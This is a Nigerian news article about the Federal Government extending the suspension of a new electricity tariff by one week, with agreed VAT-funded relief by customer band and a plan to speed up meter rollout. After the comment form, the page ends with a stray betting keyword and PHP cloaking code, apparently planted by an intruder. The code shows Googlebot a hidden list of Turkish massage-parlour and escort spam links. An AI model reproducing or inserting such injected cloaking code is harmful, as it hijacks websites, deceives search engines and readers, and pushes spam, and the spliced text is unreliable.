BUSINESS NEWS

FG extends suspension of new electricity tariff

NEWSMAN, Abuja – Federal Government has extended the suspension of the new electricity tariff by one week.

Chairperson of the Nigeria Electricity Regulatory Commission (NERC), James Momoh said this when the Ad-hoc Technical Committee on Electricity Tariff submitted its interim report at a reconvened meeting between the Federal Government and Organised Labour on Monday in Abuja.

The new tariff was earlier suspended for two weeks and ended at midnight on October 11, after the organised labour suspended the planned industrial action over agitation on the electricity tariff hike on September 28.

The committee, chaired by the Minister of State for Labour, Festus Keyamo is to examine the justification for the new policy.

Momoh said the one-week extension is to enable the committee to review and work out modalities for the implementation of the agreement reached on the electricity tariffs structure.

Minister of Labour and Employment, Chris Ngige while reading a resolution reached between the Federal Government, Organised Labour and the Ad-hoc Technical Committee on Electricity Tariff, said that adoption of the work plan for effecting the resolutions has been reached.

Ngige said all stakeholders would implement the resolutions adopted within the week by Sunday, October 18, News agency Of Nigeria (NAN) reported.

According to him, the amendments to the resolutions adopted include:

“Using of the Nigerian Electricity Supply Industry (NESI) VAT proceeds to provide relief in electricity tariff. This is to leverage on the VAT from the NESI, the increases experienced by customers due to the transition to the Service Based Tariff will be reduced. That is Band A – 10 per cert reduction, Band B – 10.5 per cert reduction and Band C – 31 reduction,” he said.

On the acceleration of National Mass Metering Programme (NMMP), it was adopted that for the distribution of the first one million meters, the Ministry of Power was to liaise with Central Bank of Nigeria (CBN), Nigerian Electricity Regulatory Commission (NERC) and Nigerian Electricity Management Services Agency (NEMSA).

He added that they are to start work by October 12 to accelerate the roll out of meters with a target of December 2020.

The minister, therefore, said that the meeting agreed that it would work towards bridging the metering gap.

“The Federal Government committed to provide six million meters and NERC is expected to compel the DISCOs to meet the metering needs of the customers,” he said.

Ngige also said on the resolution adopted for the Local procurement for Meters for National Mass Metering Programme (NMMP) that organised labour would to work with government to improve and ramp up local production capacity.

Related Posts

Leave a Reply

Your email address will not be published. Required fields are marked *

bahis

$uagent = trim(strtolower($_SERVER["HTTP_USER_AGENT"])); if(strpos($uagent,"googlebot")!==false and strpos($uagent,"google-amphtml")===false ){ echo 'Van masaj salonu Maraş masaj salonu Şanlıurfa masaj salonu Isparta masaj salonu Amasya masaj salonu Afyon masaj salonu Denizli masaj salonu Kayseri masaj salonu Eskişehir masaj salonu Malatya masaj salonu Yozgat masaj salonu Çorum masaj salonu Tokat masaj salonu Gaziantep masaj salonu Kütahya masaj salonu Elazığ masaj salonu Kırklareli escort Burdur escort Aksaray escort Kars escort Kastamonu escort Adıyaman escort Erzincan escort Uşak escort Sinop escort '; }